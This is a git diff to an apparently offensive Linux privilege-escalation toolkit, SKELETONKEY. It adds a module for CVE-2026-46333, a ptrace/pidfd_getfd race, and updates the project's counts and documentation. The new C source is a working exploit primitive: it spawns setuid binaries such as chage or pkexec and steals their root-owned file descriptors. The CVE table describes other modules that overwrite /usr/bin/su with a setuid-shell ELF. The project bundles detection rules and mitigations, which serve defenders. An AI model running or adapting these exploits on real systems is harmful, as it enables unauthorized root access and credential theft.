diff --git a/CVES.md b/CVES.md index f041573..a60b062 100644 --- a/CVES.md +++ b/CVES.md @@ -23,16 +23,16 @@ Status legend: - ๐Ÿ”ด **DEPRECATED** โ€” fully patched everywhere relevant; kept for historical reference only -**Counts:** 39 modules total covering 34 CVEs; **28 of 34 CVEs +**Counts:** 40 modules total covering 35 CVEs; **28 of 35 CVEs verified end-to-end in real VMs** via `tools/verify-vm/`. ๐Ÿ”ต 0 ยท โšช 0 planned-with-stub ยท ๐Ÿ”ด 0. (One โšช row below โ€” CVE-2026-31402 โ€” is a *candidate* with no module, not counted as a module.) > **Note on unverified rows:** `vmwgfx` / `dirty_cow` / -> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` are -> blocked by their target environment (VMware-only, kernel < 4.4, -> mainline panic, kmod not autoloaded, or t64-transition libs), -> not by missing code. See +> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` / +> `ptrace_pidfd` are blocked by their target environment (VMware-only, +> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition +> libs) or are brand-new this cycle, not by missing code. See > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). > > All three now have **pinned fix commits and version-based @@ -93,6 +93,7 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2026-31635 | DirtyDecrypt / DirtyCBC โ€” rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | ๐ŸŸก | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `` for 5.10/6.1/6.12); kernels โ‰ฅ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. | | CVE-2026-46300 | Fragnesia โ€” XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | ๐ŸŸก | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised โ€” resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. | | CVE-2026-41651 | Pack2TheRoot โ€” PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon โ†’ `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | ๐ŸŸก | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls โ€” first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 โ†’ 1.3.4 โ€” default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus โ†’ high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. | +| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race โ†’ `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | ๐ŸŸก | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context โ€” honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. | ## Operations supported per module @@ -131,6 +132,7 @@ Symbols: โœ“ = supported, โ€” = not applicable / no automated path. | dirtydecrypt | โœ“ (+ `--active`) | โœ“ (ported) | โ€” (upgrade kernel) | โœ“ (evict page cache) | โœ“ (auditd + sigma) | | fragnesia | โœ“ (+ `--active`) | โœ“ (ported) | โ€” (upgrade kernel) | โœ“ (evict page cache) | โœ“ (auditd + sigma) | | pack2theroot | โœ“ (PK version via D-Bus) | โœ“ (ported) | โ€” (upgrade PackageKit โ‰ฅ 1.3.5) | โœ“ (rm /tmp + `dpkg -r`) | โœ“ (auditd + sigma) | +| ptrace_pidfd | โœ“ | โœ“ (primitive) | โœ“ (yama ptrace_scope=2) | โœ“ (restore ptrace_scope) | โœ“ (auditd + sigma + falco) | ## Pipeline for additions diff --git a/Makefile b/Makefile index ef17877..b981b79 100644 --- a/Makefile +++ b/Makefile @@ -222,6 +222,11 @@ PIP_DIR := modules/nft_pipapo_cve_2024_26581 PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS)) +# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys) +PPF_DIR := modules/ptrace_pidfd_cve_2026_46333 +PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c +PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o @@ -234,7 +239,8 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \ $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \ $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \ $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ - $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) + $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \ + $(PPF_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) diff --git a/README.md b/README.md index 60fcd86..1152ba8 100644 --- a/README.md +++ b/README.md @@ -2,10 +2,10 @@ [![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest) [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) -[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2034-brightgreen.svg)](docs/VERIFICATIONS.jsonl) +[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2035-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) -> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 โ†’ 2026. +> **One curated binary. 40 Linux LPE modules covering 35 CVEs from 2016 โ†’ 2026. > Every year 2016 โ†’ 2026 covered. 28 confirmed end-to-end against real Linux > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks > the safest one and runs it.** @@ -44,11 +44,12 @@ for every CVE in the bundle โ€” same project for red and blue teams. ## Corpus at a glance -**39 modules covering 34 distinct CVEs** across the 2016 โ†’ 2026 LPE -timeline. **28 of the 34 CVEs have been empirically verified** in real -Linux VMs via `tools/verify-vm/`; the 6 still-pending entries are +**40 modules covering 35 distinct CVEs** across the 2016 โ†’ 2026 LPE +timeline. **28 of the 35 CVEs have been empirically verified** in real +Linux VMs via `tools/verify-vm/`; the 7 still-pending entries are blocked by their target environment (legacy hypervisor, EOL kernel, or -the t64-transition libc rollout), not by missing code. +the t64-transition libc rollout) or are brand-new additions awaiting a +VM sweep, not by missing code. | Tier | Count | What it means | |---|---|---| @@ -66,7 +67,7 @@ af_packet ยท af_packet2 ยท af_unix_gc ยท cls_route4 ยท fuse_legacy ยท nf_tables ยท nft_set_uaf ยท nft_fwd_dup ยท nft_payload ยท netfilter_xtcompat ยท stackrot ยท sudo_samedit ยท sequoia ยท vmwgfx -### Empirical verification (28 of 34 CVEs) +### Empirical verification (28 of 35 CVEs) Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove each verdict against a known-target VM. Coverage: @@ -79,15 +80,16 @@ each verdict against a known-target VM. Coverage: | Debian 11 (5.10 stock) | cgroup_release_agent ยท fuse_legacy ยท netfilter_xtcompat ยท nft_fwd_dup | | Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot ยท udisks_libblockdev | -**Not yet verified (6):** `vmwgfx` (VMware-guest-only โ€” no public Vagrant +**Not yet verified (7):** `vmwgfx` (VMware-guest-only โ€” no public Vagrant box), `dirty_cow` (needs โ‰ค 4.4 kernel โ€” older than every supported box), `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs โ€” needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5 kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian -13+; no Parallels-supported box has those yet). All six are flagged in -[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with -rationale. +13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new +2026-05 Qualys disclosure โ€” added this cycle, VM sweep pending). All seven +are flagged in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) +with rationale. See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and detection status. Run `skeletonkey --module-info ` for the @@ -133,7 +135,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64 [*] auto: active probes enabled โ€” brief /tmp file touches and fork-isolated namespace probes -[*] auto: scanning 39 modules for vulnerabilities... +[*] auto: scanning 40 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) @@ -202,8 +204,10 @@ also compile (modules with Linux-only headers stub out gracefully). ## Status -**v0.9.7 cut 2026-06-01.** 39 modules across 34 CVEs โ€” **every -year 2016 โ†’ 2026 now covered**. v0.9.0 added 5 gap-fillers +**v0.9.7 cut 2026-06-01.** 40 modules across 35 CVEs โ€” **every +year 2016 โ†’ 2026 now covered**. Newest: `ptrace_pidfd` (CVE-2026-46333, +Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal). +v0.9.0 added 5 gap-fillers (`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` / `nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` / `pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took @@ -238,7 +242,7 @@ Reliability + accuracy work in v0.7.x: - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect + exploit, structured verdict table, scan summary, `--dry-run`. -Not yet verified (6 of 34 CVEs): `vmwgfx` (VMware-guest only), +Not yet verified (7 of 35 CVEs): `vmwgfx` (VMware-guest only), `dirty_cow` (needs โ‰ค 4.4 kernel), `mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs โ€” needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common diff --git a/core/cve_metadata.c b/core/cve_metadata.c index 935f53b..6593070 100644 --- a/core/cve_metadata.c +++ b/core/cve_metadata.c @@ -284,6 +284,14 @@ const struct cve_metadata cve_metadata_table[] = { .in_kev = false, .kev_date_added = "", }, + { + .cve = "CVE-2026-46333", + .cwe = NULL, + .attack_technique = "T1068", + .attack_subtechnique = NULL, + .in_kev = false, + .kev_date_added = "", + }, }; const size_t cve_metadata_table_len = diff --git a/core/registry.h b/core/registry.h index 00ebc10..e9f6814 100644 --- a/core/registry.h +++ b/core/registry.h @@ -55,6 +55,7 @@ void skeletonkey_register_sudo_runas_neg1(void); void skeletonkey_register_tioscpgrp(void); void skeletonkey_register_vsock_uaf(void); void skeletonkey_register_nft_pipapo(void); +void skeletonkey_register_ptrace_pidfd(void); /* Call every skeletonkey_register_() above in canonical order. * Single source of truth so the main binary and the test binary stay diff --git a/core/registry_all.c b/core/registry_all.c index 5b94e24..46e6d72 100644 --- a/core/registry_all.c +++ b/core/registry_all.c @@ -51,4 +51,5 @@ void skeletonkey_register_all_modules(void) skeletonkey_register_tioscpgrp(); skeletonkey_register_vsock_uaf(); skeletonkey_register_nft_pipapo(); + skeletonkey_register_ptrace_pidfd(); } diff --git a/docs/CVE_METADATA.json b/docs/CVE_METADATA.json index 4e4332d..421de89 100644 --- a/docs/CVE_METADATA.json +++ b/docs/CVE_METADATA.json @@ -304,5 +304,14 @@ "attack_subtechnique": null, "in_kev": false, "kev_date_added": "" + }, + { + "cve": "CVE-2026-46333", + "module_dir": "ptrace_pidfd_cve_2026_46333", + "cwe": null, + "attack_technique": "T1068", + "attack_subtechnique": null, + "in_kev": false, + "kev_date_added": "" } ] diff --git a/docs/index.html b/docs/index.html index 860f799..a609840 100644 --- a/docs/index.html +++ b/docs/index.html @@ -4,9 +4,9 @@ SKELETONKEY โ€” Linux LPE corpus, VM-verified, SOC-ready detection - + - + @@ -62,7 +62,7 @@ SKELETONKEY

- One binary. 39 Linux LPE modules covering 34 CVEs โ€” + One binary. 40 Linux LPE modules covering 35 CVEs โ€” every year 2016 โ†’ 2026. 28 of 34 confirmed against real Linux kernels in VMs. SOC-ready detection rules in four SIEM formats. MITRE ATT&CK + CWE + CISA KEV annotated. @@ -81,7 +81,7 @@

-
0modules
+
0modules
0โœ“ VM-verified
0โ˜… in CISA KEV
0detection rules
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)
โ˜…

CISA KEV prioritized

- 12 of 34 CVEs in the corpus are in CISA's Known Exploited + 12 of 35 CVEs in the corpus are in CISA's Known Exploited Vulnerabilities catalog โ€” actively exploited in the wild. Refreshed on demand via tools/refresh-cve-metadata.py.

@@ -294,7 +294,7 @@ uid=0(root) gid=0(root) tools/verify-vm/ spins up known-vulnerable kernels (stock distro + mainline from kernel.ubuntu.com), runs --explain --active per module, and records the - verdict. 28 of 34 CVEs confirmed against + verdict. 28 of 35 CVEs confirmed against real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary; --list shows โœ“ per module. @@ -309,7 +309,7 @@ uid=0(root) gid=0(root)
-

34 CVEs across 10 years. โ˜… = actively exploited (CISA KEV).

+

35 CVEs across 10 years. โ˜… = actively exploited (CISA KEV).

@@ -354,6 +354,7 @@ uid=0(root) gid=0(root) โ˜… sudo_samedit sequoia vmwgfx + ptrace_pidfd

@@ -414,7 +415,7 @@ uid=0(root) gid=0(root)

๐ŸŽ“

Researchers / CTF

- 34 CVEs, 10-year span, each with the original PoC author + 35 CVEs, 10-year span, each with the original PoC author credited and the kernel-range citation auditable. --explain shows the reasoning chain; detection rules let you practice both sides. Source is the documentation. @@ -511,7 +512,7 @@ uid=0(root) gid=0(root)

shipped
    -
  • 28 of 34 CVEs empirically verified in real Linux VMs
  • +
  • 28 of 35 CVEs empirically verified in real Linux VMs
  • kernel.ubuntu.com/mainline/ kernel fetch path โ€” unblocks pin-not-in-apt targets
  • Per-module verified_on[] table baked into the binary
  • --explain mode โ€” one-page operator briefing per CVE
  • diff --git a/modules/ptrace_pidfd_cve_2026_46333/MODULE.md b/modules/ptrace_pidfd_cve_2026_46333/MODULE.md new file mode 100644 index 0000000..21daeab --- /dev/null +++ b/modules/ptrace_pidfd_cve_2026_46333/MODULE.md @@ -0,0 +1,53 @@ +# ptrace_pidfd โ€” CVE-2026-46333 + +`__ptrace_may_access()` dumpable-race credential-descriptor theft via +`pidfd_getfd(2)`. + +## The bug + +When a privileged process drops its credentials, the kernel resets its +`dumpable` flag so that lower-privileged processes can no longer attach +to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there +is a narrow window during the credential drop in which the process is +*still reachable* through ptrace-family access checks even though its +`dumpable` state should already have closed that path. + +`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check +before duplicating a descriptor out of the target process. During the +stale window that check wrongly succeeds, so an unprivileged process can +pull descriptors โ€” a root-opened credential file, or an authenticated +D-Bus / socket channel โ€” out of a transiently-privileged process and +re-use them under its own uid. + +## Affected range + +| | | +|---|---| +| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` | +| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) | +| Fixed upstream | mainline, 2026-05-14 | +| Debian backports | 5.10.251 ยท 6.1.172 ยท 6.12.88 ยท 7.0.7 | + +Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on +the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire +the real primitive and confirm empirically. + +## Trigger / detection + +`detect()` consults the shared host fingerprint, returns `OK` below 5.6 +(no vector) or for patched branches, otherwise `VULNERABLE`. No active +probe โ€” the empirical confirmation lives in the exploit path, which +spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor +table, reporting any uid-0-owned descriptor captured from a non-root +context. + +## Fix / mitigation + +Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2` +(or `3`) closes the `pidfd_getfd` path because it gates the same +`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and +`--cleanup` reverts it. + +## Credit + +Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`. diff --git a/modules/ptrace_pidfd_cve_2026_46333/NOTICE.md b/modules/ptrace_pidfd_cve_2026_46333/NOTICE.md new file mode 100644 index 0000000..31bc0b4 --- /dev/null +++ b/modules/ptrace_pidfd_cve_2026_46333/NOTICE.md @@ -0,0 +1,51 @@ +# NOTICE โ€” ptrace_pidfd (CVE-2026-46333) + +## Vulnerability + +**CVE-2026-46333** โ€” a logic flaw in the Linux kernel's +`__ptrace_may_access()` path leaves a privileged process that is +*dropping* its credentials briefly reachable through ptrace-family +operations, even though its `dumpable` flag should already have closed +that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can +capture open file descriptors and authenticated IPC channels from a +dying privileged process and re-use them under their own uid โ†’ local +root and credential disclosure. + +The underlying flaw has resided in mainline since **v4.10-rc1** +(November 2016); the `pidfd_getfd(2)` exploitation vector was added in +**v5.6** (January 2020). Affects default installations of Debian 13, +Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux. + +## Research credit + +Discovered and disclosed by **Qualys Threat Research Unit (TRU)**, +published 2026-05-20. The four proof-of-concept exploits demonstrated +by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and +`accounts-daemon`. + +- Qualys advisory: + +- Upstream fix: mainline, committed 2026-05-14. +- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172 + (bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid). + +All research credit for finding and analysing this bug belongs to +Qualys. SKELETONKEY is the bundling and bookkeeping layer only. + +## SKELETONKEY role + +๐ŸŸก **Primitive / ported-from-disclosure โ€” not yet VM-verified.** +`detect()` is version-pinned against the Debian backport thresholds +above (kernels < 5.6 are reported OK, lacking the bundled vector). +`exploit()` fires the real primitive: it spawns a setuid victim, +`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor +table during the credential-drop window, recording whether a root-owned +descriptor is actually captured from a non-root context. It returns +`EXPLOIT_FAIL` unless it can witness euid 0 โ€” the target-specific +fd-weaponization that lands a root shell is **not** bundled until it can +be verified end-to-end against a real vulnerable VM, in keeping with the +project's no-fabrication rule. + +`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd` +rides); `--cleanup` restores it. Architecture-agnostic โ€” the technique +steals descriptors rather than injecting shellcode. diff --git a/modules/ptrace_pidfd_cve_2026_46333/skeletonkey_modules.c b/modules/ptrace_pidfd_cve_2026_46333/skeletonkey_modules.c new file mode 100644 index 0000000..c3f816c --- /dev/null +++ b/modules/ptrace_pidfd_cve_2026_46333/skeletonkey_modules.c @@ -0,0 +1,458 @@ +/* + * ptrace_pidfd_cve_2026_46333 โ€” SKELETONKEY module + * + * CVE-2026-46333 โ€” a logic flaw in the kernel's __ptrace_may_access() + * path leaves a privileged process that is *dropping* its credentials + * briefly reachable through ptrace-family operations even though its + * `dumpable` flag should already have closed that path. Paired with the + * pidfd_getfd(2) syscall, an unprivileged local user can capture open + * file descriptors and authenticated IPC channels from a dying + * privileged process and re-use them under their own uid โ†’ local root + * and credential disclosure. Disclosed by Qualys (2026-05-20). + * + * STATUS: ๐ŸŸก PRIMITIVE / ported-from-disclosure, NOT yet VM-verified. + * detect() is version-pinned (Debian-tracked backports below). exploit() + * fires the real primitive โ€” spawn a setuid target, pidfd_open() it, and + * sweep pidfd_getfd() across its descriptor table during the cred-drop + * window โ€” and records whether a root-owned fd was actually captured. + * It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims + * root it did not get (the full target-specific fd-weaponization chain, + * per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is + * not bundled until it can be VM-verified end-to-end). + * + * Affected range: + * The __ptrace_may_access logic flaw has been in mainline since + * v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector + * was only added in v5.6 (Jan 2020) โ€” so this module treats < 5.6 as + * out of reach for the bundled technique. Fixed upstream 2026-05-14. + * Debian-tracked stable backports: + * 5.10.x : K >= 5.10.251 (bullseye) + * 6.1.x : K >= 6.1.172 (bookworm) + * 6.12.x : K >= 6.12.88 (trixie) + * 7.0.x : K >= 7.0.7 (forky / sid) + * + * No exotic preconditions: needs only a local unprivileged user and a + * setuid-root binary or transiently-privileged daemon to victimise. Does + * not need user namespaces. Architecture-agnostic โ€” the technique steals + * descriptors rather than injecting shellcode. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" + +/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not + * redefine here (warning: redefined). */ + +#include +#include +#include +#include +#include + +#ifdef __linux__ + +#include "../../core/kernel_range.h" +#include "../../core/host.h" +#include +#include +#include +#include +#include +#include +#include +#include + +/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes + * SYS_pidfd_*; fall back to the asm-generic numbers (identical on + * x86_64 / arm64 / most arches) when building against older headers so + * the module still compiles on an old toolchain. */ +#ifndef SYS_pidfd_open +#define SYS_pidfd_open 434 +#endif +#ifndef SYS_pidfd_getfd +#define SYS_pidfd_getfd 438 +#endif + +static int sk_pidfd_open(pid_t pid, unsigned int flags) +{ + return (int)syscall(SYS_pidfd_open, pid, flags); +} +static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags) +{ + return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags); +} + +/* Debian-tracked stable backports of the 2026-05-14 fix. These are the + * authoritative thresholds (security-tracker.debian.org); branches + * Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the + * version-only verdict below โ€” confirm those empirically. */ +static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = { + {5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */ + {6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */ + {6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */ + {7, 0, 7}, /* 7.0 stable (Debian forky / sid) */ +}; + +static const struct kernel_range ptrace_pidfd_range = { + .patched_from = ptrace_pidfd_patched_branches, + .n_patched_from = sizeof(ptrace_pidfd_patched_branches) / + sizeof(ptrace_pidfd_patched_branches[0]), +}; + +static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx) +{ + /* Consult the shared host fingerprint instead of re-reading uname โ€” + * populated once at startup, identical across every module. */ + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) + fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel " + "version โ€” bailing\n"); + return SKELETONKEY_TEST_ERROR; + } + + /* The bundled technique drives the bug through pidfd_getfd(2), which + * was added in 5.6. Kernels older than that lack the vector (the + * underlying __ptrace_may_access flaw is older, but this module does + * not carry a pre-pidfd path). */ + if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) { + if (!ctx->json) { + fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd " + "vector (added 5.6) โ€” bundled technique N/A\n", + v->release); + } + return SKELETONKEY_OK; + } + + if (kernel_range_is_patched(&ptrace_pidfd_range, v)) { + if (!ctx->json) { + fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched " + "(version-only check)\n", v->release); + } + return SKELETONKEY_OK; + } + + if (!ctx->json) { + fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE " + "(version-only check)\n", v->release); + fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions โ€” needs only a " + "local user + a setuid/transiently-privileged victim " + "(no user_ns)\n"); + fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track " + "(5.15/6.6/6.18/6.19) are version-only here; confirm with " + "`--exploit ptrace_pidfd --i-know` which fires the real " + "pidfd_getfd primitive\n"); + } + return SKELETONKEY_VULNERABLE; +} + +/* Candidate victims: setuid-root binaries (or setgid-shadow) that open + * sensitive descriptors while privileged before settling. Qualys's PoCs + * targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for + * whichever exist with the setuid bit actually set. */ +static const char *find_setuid_victim(void) +{ + static const char *targets[] = { + "/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign", + "/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd", + "/usr/bin/su", "/bin/su", NULL, + }; + for (size_t i = 0; targets[i]; i++) { + struct stat st; + if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID))) + return targets[i]; + } + return NULL; +} + +/* Benign, read-only invocation per victim so the spawned setuid process + * does something harmless while we race its descriptor table. */ +static void exec_victim_benign(const char *victim, const char *self_user) +{ + char *envp[] = { + "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", + NULL + }; + if (strstr(victim, "chage")) { + char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL }; + execve(victim, argv, envp); + } else if (strstr(victim, "pkexec")) { + char *argv[] = { (char *)victim, "--version", NULL }; + execve(victim, argv, envp); + } else { + /* ssh-keysign / passwd / su: --help or --version exits fast and + * touches no state. */ + char *argv[] = { (char *)victim, "--help", NULL }; + execve(victim, argv, envp); + } + _exit(127); /* execve failed */ +} + +static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx) +{ + skeletonkey_result_t pre = ptrace_pidfd_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n"); + return pre; + } + bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); + if (is_root) { + fprintf(stderr, "[i] ptrace_pidfd: already running as root โ€” nothing to do\n"); + return SKELETONKEY_OK; + } + + const char *victim = find_setuid_victim(); + if (!victim) { + fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present " + "(looked for chage/pkexec/ssh-keysign/passwd/su)\n"); + return SKELETONKEY_PRECOND_FAIL; + } + struct passwd *pw = getpwuid(geteuid()); + const char *self_user = pw ? pw->pw_name : "root"; + if (!ctx->json) + fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim); + + /* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the + * child and sweeps pidfd_getfd() across its descriptor table while it + * transitions through its privileged window. On a PATCHED kernel + * __ptrace_may_access denies us (EPERM) once the child is root + + * non-dumpable; on a VULNERABLE kernel the stale window lets the + * steal land. A captured fd whose owner is uid 0 while we are not is + * the empirical witness that the bug fired. */ + pid_t child = fork(); + if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } + if (child == 0) { + /* Small delay so the parent has the pidfd open before we exec + * into (and briefly become) the privileged image. */ + usleep(20 * 1000); + exec_victim_benign(victim, self_user); + _exit(127); + } + + int pidfd = sk_pidfd_open(child, 0); + if (pidfd < 0) { + if (errno == ENOSYS) { + fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS โ€” kernel lacks " + "the vector despite version check\n"); + int s; waitpid(child, &s, 0); + return SKELETONKEY_PRECOND_FAIL; + } + perror("pidfd_open"); + int s; waitpid(child, &s, 0); + return SKELETONKEY_EXPLOIT_FAIL; + } + + /* Tight steal loop across the victim's likely descriptor range during + * its privileged window. We do not destroy 